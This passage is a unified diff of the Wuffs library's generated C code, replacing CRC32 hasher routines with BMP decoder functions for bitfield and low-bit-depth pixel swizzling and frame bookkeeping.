--WUFFS_CRC32__IEEE_X86_SSE42_K1K2[16] WUFFS_BASE__POTENTIALLY_UNUSED = { -- 212, 43, 68, 84, 1, 0, 0, 0, -- 150, 21, 228, 198, 1, 0, 0, 0, --}; -- --static const uint8_t --WUFFS_CRC32__IEEE_X86_SSE42_K3K4[16] WUFFS_BASE__POTENTIALLY_UNUSED = { -- 208, 151, 25, 117, 1, 0, 0, 0, -- 158, 0, 170, 204, 0, 0, 0, 0, --}; -- --static const uint8_t --WUFFS_CRC32__IEEE_X86_SSE42_K5ZZ[16] WUFFS_BASE__POTENTIALLY_UNUSED = { -- 36, 97, 205, 99, 1, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, --}; -- --static const uint8_t --WUFFS_CRC32__IEEE_X86_SSE42_PXMU[16] WUFFS_BASE__POTENTIALLY_UNUSED = { -- 65, 6, 113, 219, 1, 0, 0, 0, -- 65, 22, 1, 247, 1, 0, 0, 0, --}; -- --// ---------------- Private Initializer Prototypes -- --// ---------------- Private Function Prototypes -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_crc32__ieee_hasher__up( -- wuffs_crc32__ieee_hasher* self, -- wuffs_base__slice_u8 a_x); -+ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); -+ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); -+ if ((v_dst_bits_per_pixel & 7u) != 0u) { -+ status = wuffs_base__make_status(wuffs_base__error__unsupported_option); -+ goto exit; -+ } -+ v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); -+ v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); -+ v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8_ij(self->private_data.f_scratch, 1024, 2048)); -+ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); -+ label__outer__continue:; -+ while (true) { -+ while (self->private_impl.f_pending_pad > 0u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); -+ goto ok; -+ } -+ self->private_impl.f_pending_pad -= 1u; -+ iop_a_src += 1u; -+ } -+ while (true) { -+ if (self->private_impl.f_dst_x == self->private_impl.f_width) { -+ self->private_impl.f_dst_x = 0u; -+ self->private_impl.f_dst_y += self->private_impl.f_dst_y_inc; -+ if (self->private_impl.f_dst_y >= self->private_impl.f_height) { -+ if (self->private_impl.f_height > 0u) { -+ self->private_impl.f_pending_pad = self->private_impl.f_pad_per_row; -+ } -+ goto label__outer__break; -+ } else if (self->private_impl.f_pad_per_row != 0u) { -+ self->private_impl.f_pending_pad = self->private_impl.f_pad_per_row; -+ goto label__outer__continue; -+ } -+ } -+ v_p1_temp = ((uint32_t)(self->private_impl.f_width - self->private_impl.f_dst_x)); -+ v_p1 = wuffs_base__u32__min(v_p1_temp, 256u); -+ v_p0 = 0u; -+ while (v_p0 < v_p1) { -+ if (self->private_impl.f_bits_per_pixel == 16u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) < 2u) { -+ break; -+ } -+ v_c32 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -+ iop_a_src += 2u; -+ } else { -+ if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { -+ break; -+ } -+ v_c32 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4u; -+ } -+ v_channel = 0u; -+ while (v_channel < 4u) { -+ if (self->private_impl.f_channel_num_bits[v_channel] == 0u) { -+ self->private_data.f_scratch[((8u * v_p0) + (2u * v_channel) + 0u)] = 255u; -+ self->private_data.f_scratch[((8u * v_p0) + (2u * v_channel) + 1u)] = 255u; -+ } else { -+ v_c = ((v_c32 & self->private_impl.f_channel_masks[v_channel]) >> self->private_impl.f_channel_shifts[v_channel]); -+ v_num_bits = ((uint32_t)(self->private_impl.f_channel_num_bits[v_channel])); -+ while (v_num_bits < 16u) { -+ v_c |= ((uint32_t)(v_c << v_num_bits)); -+ v_num_bits *= 2u; -+ } -+ v_c >>= (v_num_bits - 16u); -+ self->private_data.f_scratch[((8u * v_p0) + (2u * v_channel) + 0u)] = ((uint8_t)((v_c >> 0u))); -+ self->private_data.f_scratch[((8u * v_p0) + (2u * v_channel) + 1u)] = ((uint8_t)((v_c >> 8u))); -+ } -+ v_channel += 1u; -+ } -+ v_p0 += 1u; -+ } -+ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); -+ if (v_dst_bytes_per_row < ((uint64_t)(v_dst.len))) { -+ v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row); -+ } -+ v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); -+ if (v_i >= ((uint64_t)(v_dst.len))) { -+ v_n = ((uint64_t)(v_p0)); -+ } else { -+ v_n = wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, (8u * v_p0))); -+ } -+ if (v_n == 0u) { -+ status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); -+ goto ok; -+ } -+ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); -+ } -+ } -+ label__outer__break:; -+ status = wuffs_base__make_status(NULL); -+ goto ok; - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_crc32__ieee_hasher__up__choosy_default( -- wuffs_crc32__ieee_hasher* self, -- wuffs_base__slice_u8 a_x); -+ ok: -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } - --#if defined(WUFFS_BASE__CPU_ARCH__ARM_CRC32) --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_crc32__ieee_hasher__up_arm_crc32( -- wuffs_crc32__ieee_hasher* self, -- wuffs_base__slice_u8 a_x); --#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_CRC32) -+ return status; -+} - --#if defined(WUFFS_BASE__CPU_ARCH__X86_64) --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_crc32__ieee_hasher__up_x86_avx2( -- wuffs_crc32__ieee_hasher* self, -- wuffs_base__slice_u8 a_x); --#endif // defined(WUFFS_BASE__CPU_ARCH__X86_64) -+// -------- func bmp.decoder.swizzle_low_bit_depth - --#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_crc32__ieee_hasher__up_x86_sse42( -- wuffs_crc32__ieee_hasher* self, -- wuffs_base__slice_u8 a_x); --#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) -- --// ---------------- VTables -- --const wuffs_base__hasher_u32__func_ptrs --wuffs_crc32__ieee_hasher__func_ptrs_for__wuffs_base__hasher_u32 = { -- (uint32_t(*)(const void*))(&wuffs_crc32__ieee_hasher__checksum_u32), -- (uint64_t(*)(const void*, -- uint32_t))(&wuffs_crc32__ieee_hasher__get_quirk), -- (wuffs_base__status(*)(void*, -- uint32_t, -- uint64_t))(&wuffs_crc32__ieee_hasher__set_quirk), -- (wuffs_base__empty_struct(*)(void*, -- wuffs_base__slice_u8))(&wuffs_crc32__ieee_hasher__update), -- (uint32_t(*)(void*, -- wuffs_base__slice_u8))(&wuffs_crc32__ieee_hasher__update_u32), --}; -+static wuffs_base__status -+wuffs_bmp__decoder__swizzle_low_bit_depth( -+ wuffs_bmp__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); - --// ---------------- Initializer Implementations -+ wuffs_base__pixel_format v_dst_pixfmt = {0}; -+ uint32_t v_dst_bits_per_pixel = 0; -+ uint32_t v_dst_bytes_per_pixel = 0; -+ uint64_t v_dst_bytes_per_row = 0; -+ wuffs_base__slice_u8 v_dst_palette = {0}; -+ wuffs_base__table_u8 v_tab = {0}; -+ wuffs_base__slice_u8 v_dst = {0}; -+ uint64_t v_i = 0; -+ uint64_t v_n = 0; -+ uint32_t v_p0 = 0; -+ uint32_t v_chunk_bits = 0; -+ uint32_t v_chunk_count = 0; -+ uint32_t v_pixels_per_chunk = 0; - --wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT --wuffs_crc32__ieee_hasher__initialize( -- wuffs_crc32__ieee_hasher* self, -- size_t sizeof_star_self, -- uint64_t wuffs_version, -- uint32_t options){ -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (sizeof(*self) != sizeof_star_self) { -- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); -- } -- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || -- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { -- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; - } - -- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { -- // The whole point of this if-check is to detect an uninitialized *self. -- // We disable the warning on GCC. Clang-5.0 does not have this warning. --#if !defined(__clang__) && defined(__GNUC__) --#pragma GCC diagnostic push --#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" --#endif -- if (self->private_impl.magic != 0) { -- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); -+ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); -+ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); -+ if ((v_dst_bits_per_pixel & 7u) != 0u) { -+ status = wuffs_base__make_status(wuffs_base__error__unsupported_option); -+ goto exit; -+ } -+ v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); -+ v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); -+ v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8_ij(self->private_data.f_scratch, 1024, 2048)); -+ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); -+ while (true) { -+ if (self->private_impl.f_dst_x == self->private_impl.f_width) { -+ self->private_impl.f_dst_x = 0u; -+ self->private_impl.f_dst_y += self->private_impl.f_dst_y_inc; -+ if (self->private_impl.f_dst_y >= self->private_impl.f_height) { -+ break; -+ } - } --#if !defined(__clang__) && defined(__GNUC__) --#pragma GCC diagnostic pop --#endif -- } else { -- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { -- memset(self, 0, sizeof(*self)); -- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; -+ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); -+ if (v_dst_bytes_per_row < ((uint64_t)(v_dst.len))) { -+ v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row); -+ } -+ v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); -+ if (v_i >= ((uint64_t)(v_dst.len))) { -+ if (self->private_impl.f_bits_per_pixel == 1u) { -+ v_chunk_count = ((wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x) + 31u) / 32u); -+ v_pixels_per_chunk = 32u; -+ } else if (self->private_impl.f_bits_per_pixel == 2u) { -+ v_chunk_count = ((wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x) + 15u) / 16u); -+ v_pixels_per_chunk = 16u; -+ } else { -+ v_chunk_count = ((wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x) + 7u) / 8u); -+ v_pixels_per_chunk = 8u; -+ } -+ while ((v_chunk_count >= 64u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 256u)) { -+ iop_a_src += 256u; -+ self->private_impl.f_dst_x = wuffs_base__u32__min(self->private_impl.f_width, ((uint32_t)(self->private_impl.f_dst_x + (v_pixels_per_chunk * 64u)))); -+ v_chunk_count -= 64u; -+ } -+ while ((v_chunk_count >= 8u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 32u)) { -+ iop_a_src += 32u; -+ self->private_impl.f_dst_x = wuffs_base__u32__min(self->private_impl.f_width, ((uint32_t)(self->private_impl.f_dst_x + (v_pixels_per_chunk * 8u)))); -+ v_chunk_count -= 8u; -+ } -+ while (v_chunk_count > 0u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { -+ status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); -+ goto ok; -+ } -+ iop_a_src += 4u; -+ self->private_impl.f_dst_x = wuffs_base__u32__min(self->private_impl.f_width, ((uint32_t)(self->private_impl.f_dst_x + (v_pixels_per_chunk * 1u)))); -+ v_chunk_count -= 1u; -+ } -+ continue; -+ } -+ v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_i); -+ v_p0 = 0u; -+ if (self->private_impl.f_bits_per_pixel == 1u) { -+ v_chunk_count = ((wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x) + 31u) / 32u); -+ v_chunk_count = wuffs_base__u32__min(v_chunk_count, 16u); -+ while ((v_chunk_count > 0u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 4u)) { -+ v_chunk_bits = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -+ iop_a_src += 4u; -+ self->private_data.f_scratch[(v_p0 + 0u)] = ((uint8_t)((1u & (v_chunk_bits >> 31u)))); -+ self->private_data.f_scratch[(v_p0 + 1u)] = ((uint8_t)((1u & (v_chunk_bits >> 30u)))); -+ self->private_data.f_scratch[(v_p0 + 2u)] = ((uint8_t)((1u & (v_chunk_bits >> 29u)))); -+ self->private_data.f_scratch[(v_p0 + 3u)] = ((uint8_t)((1u & (v_chunk_bits >> 28u)))); -+ self->private_data.f_scratch[(v_p0 + 4u)] = ((uint8_t)((1u & (v_chunk_bits >> 27u)))); -+ self->private_data.f_scratch[(v_p0 + 5u)] = ((uint8_t)((1u & (v_chunk_bits >> 26u)))); -+ self->private_data.f_scratch[(v_p0 + 6u)] = ((uint8_t)((1u & (v_chunk_bits >> 25u)))); -+ self->private_data.f_scratch[(v_p0 + 7u)] = ((uint8_t)((1u & (v_chunk_bits >> 24u)))); -+ self->private_data.f_scratch[(v_p0 + 8u)] = ((uint8_t)((1u & (v_chunk_bits >> 23u)))); -+ self->private_data.f_scratch[(v_p0 + 9u)] = ((uint8_t)((1u & (v_chunk_bits >> 22u)))); -+ self->private_data.f_scratch[(v_p0 + 10u)] = ((uint8_t)((1u & (v_chunk_bits >> 21u)))); -+ self->private_data.f_scratch[(v_p0 + 11u)] = ((uint8_t)((1u & (v_chunk_bits >> 20u)))); -+ self->private_data.f_scratch[(v_p0 + 12u)] = ((uint8_t)((1u & (v_chunk_bits >> 19u)))); -+ self->private_data.f_scratch[(v_p0 + 13u)] = ((uint8_t)((1u & (v_chunk_bits >> 18u)))); -+ self->private_data.f_scratch[(v_p0 + 14u)] = ((uint8_t)((1u & (v_chunk_bits >> 17u)))); -+ self->private_data.f_scratch[(v_p0 + 15u)] = ((uint8_t)((1u & (v_chunk_bits >> 16u)))); -+ self->private_data.f_scratch[(v_p0 + 16u)] = ((uint8_t)((1u & (v_chunk_bits >> 15u)))); -+ self->private_data.f_scratch[(v_p0 + 17u)] = ((uint8_t)((1u & (v_chunk_bits >> 14u)))); -+ self->private_data.f_scratch[(v_p0 + 18u)] = ((uint8_t)((1u & (v_chunk_bits >> 13u)))); -+ self->private_data.f_scratch[(v_p0 + 19u)] = ((uint8_t)((1u & (v_chunk_bits >> 12u)))); -+ self->private_data.f_scratch[(v_p0 + 20u)] = ((uint8_t)((1u & (v_chunk_bits >> 11u)))); -+ self->private_data.f_scratch[(v_p0 + 21u)] = ((uint8_t)((1u & (v_chunk_bits >> 10u)))); -+ self->private_data.f_scratch[(v_p0 + 22u)] = ((uint8_t)((1u & (v_chunk_bits >> 9u)))); -+ self->private_data.f_scratch[(v_p0 + 23u)] = ((uint8_t)((1u & (v_chunk_bits >> 8u)))); -+ self->private_data.f_scratch[(v_p0 + 24u)] = ((uint8_t)((1u & (v_chunk_bits >> 7u)))); -+ self->private_data.f_scratch[(v_p0 + 25u)] = ((uint8_t)((1u & (v_chunk_bits >> 6u)))); -+ self->private_data.f_scratch[(v_p0 + 26u)] = ((uint8_t)((1u & (v_chunk_bits >> 5u)))); -+ self->private_data.f_scratch[(v_p0 + 27u)] = ((uint8_t)((1u & (v_chunk_bits >> 4u)))); -+ self->private_data.f_scratch[(v_p0 + 28u)] = ((uint8_t)((1u & (v_chunk_bits >> 3u)))); -+ self->private_data.f_scratch[(v_p0 + 29u)] = ((uint8_t)((1u & (v_chunk_bits >> 2u)))); -+ self->private_data.f_scratch[(v_p0 + 30u)] = ((uint8_t)((1u & (v_chunk_bits >> 1u)))); -+ self->private_data.f_scratch[(v_p0 + 31u)] = ((uint8_t)((1u & (v_chunk_bits >> 0u)))); -+ v_p0 = ((v_p0 & 511u) + 32u); -+ v_chunk_count -= 1u; -+ } -+ } else if (self->private_impl.f_bits_per_pixel == 2u) { -+ v_chunk_count = ((wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x) + 15u) / 16u); -+ v_chunk_count = wuffs_base__u32__min(v_chunk_count, 32u); -+ while ((v_chunk_count > 0u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 4u)) { -+ v_chunk_bits = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -+ iop_a_src += 4u; -+ self->private_data.f_scratch[(v_p0 + 0u)] = ((uint8_t)((3u & (v_chunk_bits >> 30u)))); -+ self->private_data.f_scratch[(v_p0 + 1u)] = ((uint8_t)((3u & (v_chunk_bits >> 28u)))); -+ self->private_data.f_scratch[(v_p0 + 2u)] = ((uint8_t)((3u & (v_chunk_bits >> 26u)))); -+ self->private_data.f_scratch[(v_p0 + 3u)] = ((uint8_t)((3u & (v_chunk_bits >> 24u)))); -+ self->private_data.f_scratch[(v_p0 + 4u)] = ((uint8_t)((3u & (v_chunk_bits >> 22u)))); -+ self->private_data.f_scratch[(v_p0 + 5u)] = ((uint8_t)((3u & (v_chunk_bits >> 20u)))); -+ self->private_data.f_scratch[(v_p0 + 6u)] = ((uint8_t)((3u & (v_chunk_bits >> 18u)))); -+ self->private_data.f_scratch[(v_p0 + 7u)] = ((uint8_t)((3u & (v_chunk_bits >> 16u)))); -+ self->private_data.f_scratch[(v_p0 + 8u)] = ((uint8_t)((3u & (v_chunk_bits >> 14u)))); -+ self->private_data.f_scratch[(v_p0 + 9u)] = ((uint8_t)((3u & (v_chunk_bits >> 12u)))); -+ self->private_data.f_scratch[(v_p0 + 10u)] = ((uint8_t)((3u & (v_chunk_bits >> 10u)))); -+ self->private_data.f_scratch[(v_p0 + 11u)] = ((uint8_t)((3u & (v_chunk_bits >> 8u)))); -+ self->private_data.f_scratch[(v_p0 + 12u)] = ((uint8_t)((3u & (v_chunk_bits >> 6u)))); -+ self->private_data.f_scratch[(v_p0 + 13u)] = ((uint8_t)((3u & (v_chunk_bits >> 4u)))); -+ self->private_data.f_scratch[(v_p0 + 14u)] = ((uint8_t)((3u & (v_chunk_bits >> 2u)))); -+ self->private_data.f_scratch[(v_p0 + 15u)] = ((uint8_t)((3u & (v_chunk_bits >> 0u)))); -+ v_p0 = ((v_p0 & 511u) + 16u); -+ v_chunk_count -= 1u; -+ } - } else { -- memset(&(self->private_impl), 0, sizeof(self->private_impl)); -+ v_chunk_count = ((wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x) + 7u) / 8u); -+ v_chunk_count = wuffs_base__u32__min(v_chunk_count, 64u); -+ while ((v_chunk_count > 0u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 4u)) { -+ v_chunk_bits = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -+ iop_a_src += 4u; -+ self->private_data.f_scratch[(v_p0 + 0u)] = ((uint8_t)((15u & (v_chunk_bits >> 28u)))); -+ self->private_data.f_scratch[(v_p0 + 1u)] = ((uint8_t)((15u & (v_chunk_bits >> 24u)))); -+ self->private_data.f_scratch[(v_p0 + 2u)] = ((uint8_t)((15u & (v_chunk_bits >> 20u)))); -+ self->private_data.f_scratch[(v_p0 + 3u)] = ((uint8_t)((15u & (v_chunk_bits >> 16u)))); -+ self->private_data.f_scratch[(v_p0 + 4u)] = ((uint8_t)((15u & (v_chunk_bits >> 12u)))); -+ self->private_data.f_scratch[(v_p0 + 5u)] = ((uint8_t)((15u & (v_chunk_bits >> 8u)))); -+ self->private_data.f_scratch[(v_p0 + 6u)] = ((uint8_t)((15u & (v_chunk_bits >> 4u)))); -+ self->private_data.f_scratch[(v_p0 + 7u)] = ((uint8_t)((15u & (v_chunk_bits >> 0u)))); -+ v_p0 = ((v_p0 & 511u) + 8u); -+ v_chunk_count -= 1u; -+ } -+ } -+ v_p0 = wuffs_base__u32__min(v_p0, wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x)); -+ v_n = wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, v_p0)); -+ if (v_n == 0u) { -+ status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); -+ goto ok; - } -+ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); - } -+ status = wuffs_base__make_status(NULL); -+ goto ok; - -- self->private_impl.choosy_up = &wuffs_crc32__ieee_hasher__up__choosy_default; -+ ok: -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } - -- self->private_impl.magic = WUFFS_BASE__MAGIC; -- self->private_impl.vtable_for__wuffs_base__hasher_u32.vtable_name = -- wuffs_base__hasher_u32__vtable_name; -- self->private_impl.vtable_for__wuffs_base__hasher_u32.function_pointers = -- (const void*)(&wuffs_crc32__ieee_hasher__func_ptrs_for__wuffs_base__hasher_u32); -- return wuffs_base__make_status(NULL); -+ return status; - } - --wuffs_crc32__ieee_hasher* --wuffs_crc32__ieee_hasher__alloc(void) { -- wuffs_crc32__ieee_hasher* x = -- (wuffs_crc32__ieee_hasher*)(calloc(sizeof(wuffs_crc32__ieee_hasher), 1)); -- if (!x) { -- return NULL; -+// -------- func bmp.decoder.frame_dirty_rect -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 -+wuffs_bmp__decoder__frame_dirty_rect( -+ const wuffs_bmp__decoder* self) { -+ if (!self) { -+ return wuffs_base__utility__empty_rect_ie_u32(); - } -- if (wuffs_crc32__ieee_hasher__initialize( -- x, sizeof(wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -- free(x); -- return NULL; -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__empty_rect_ie_u32(); - } -- return x; --} - --size_t --sizeof__wuffs_crc32__ieee_hasher(void) { -- return sizeof(wuffs_crc32__ieee_hasher); -+ return wuffs_base__utility__make_rect_ie_u32( -+ 0u, -+ 0u, -+ self->private_impl.f_width, -+ self->private_impl.f_height); - } - --// ---------------- Function Implementations -- --// -------- func crc32.ieee_hasher.get_quirk -+// -------- func bmp.decoder.num_animation_loops - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_crc32__ieee_hasher__get_quirk( -- const wuffs_crc32__ieee_hasher* self, -- uint32_t a_key) { -+WUFFS_BASE__MAYBE_STATIC uint32_t -+wuffs_bmp__decoder__num_animation_loops( -+ const wuffs_bmp__decoder* self) { - if (!self) { - return 0; - } -@@ -33524,709 +33654,531 @@ wuffs_crc32__ieee_hasher__get_quirk( - return 0u; - } - --// -------- func crc32.ieee_hasher.set_quirk -+// -------- func bmp.decoder.num_decoded_frame_configs - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_crc32__ieee_hasher__set_quirk( -- wuffs_crc32__ieee_hasher* self, -- uint32_t a_key, -- uint64_t a_value) { -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_bmp__decoder__num_decoded_frame_configs( -+ const wuffs_bmp__decoder* self) { - if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ return 0; - } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; - } - -- return wuffs_base__make_status(wuffs_base__error__unsupported_option); -+ if (self->private_impl.f_call_sequence > 32u) { -+ return 1u; -+ } -+ return 0u; - } - --// -------- func crc32.ieee_hasher.update -+// -------- func bmp.decoder.num_decoded_frames - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct --wuffs_crc32__ieee_hasher__update( -- wuffs_crc32__ieee_hasher* self, -- wuffs_base__slice_u8 a_x) { -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_bmp__decoder__num_decoded_frames( -+ const wuffs_bmp__decoder* self) { - if (!self) { -- return wuffs_base__make_empty_struct(); -+ return 0; - } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_empty_struct(); -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; - } - -- if (self->private_impl.f_state == 0u) { -- self->private_impl.choosy_up = ( --#if defined(WUFFS_BASE__CPU_ARCH__ARM_CRC32) -- wuffs_base__cpu_arch__have_arm_crc32() ? &wuffs_crc32__ieee_hasher__up_arm_crc32 : --#endif --#if defined(WUFFS_BASE__CPU_ARCH__X86_64) -- wuffs_base__cpu_arch__have_x86_avx2() ? &wuffs_crc32__ieee_hasher__up_x86_avx2 : --#endif --#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) -- wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_crc32__ieee_hasher__up_x86_sse42 : --#endif -- self->private_impl.choosy_up); -+ if (self->private_impl.f_call_sequence > 64u) { -+ return 1u; - } -- wuffs_crc32__ieee_hasher__up(self, a_x); -- return wuffs_base__make_empty_struct(); -+ return 0u; - } - --// -------- func crc32.ieee_hasher.update_u32 -+// -------- func bmp.decoder.restart_frame - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint32_t --wuffs_crc32__ieee_hasher__update_u32( -- wuffs_crc32__ieee_hasher* self, -- wuffs_base__slice_u8 a_x) { -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_bmp__decoder__restart_frame( -+ wuffs_bmp__decoder* self, -+ uint64_t a_index, -+ uint64_t a_io_position) { - if (!self) { -- return 0; -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); - } - if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return 0; -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); - } - -- wuffs_crc32__ieee_hasher__update(self, a_x); -- return self->private_impl.f_state; -+ if (self->private_impl.f_call_sequence < 32u) { -+ return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -+ } -+ if (a_index != 0u) { -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ self->private_impl.f_call_sequence = 40u; -+ self->private_impl.f_frame_config_io_position = a_io_position; -+ return wuffs_base__make_status(NULL); - } - --// -------- func crc32.ieee_hasher.up -+// -------- func bmp.decoder.set_report_metadata - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_crc32__ieee_hasher__up( -- wuffs_crc32__ieee_hasher* self, -- wuffs_base__slice_u8 a_x) { -- return (*self->private_impl.choosy_up)(self, a_x); -+WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct -+wuffs_bmp__decoder__set_report_metadata( -+ wuffs_bmp__decoder* self, -+ uint32_t a_fourcc, -+ bool a_report) { -+ return wuffs_base__make_empty_struct(); - } - -+// -------- func bmp.decoder.tell_me_more -+ - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_crc32__ieee_hasher__up__choosy_default( -- wuffs_crc32__ieee_hasher* self, -- wuffs_base__slice_u8 a_x) { 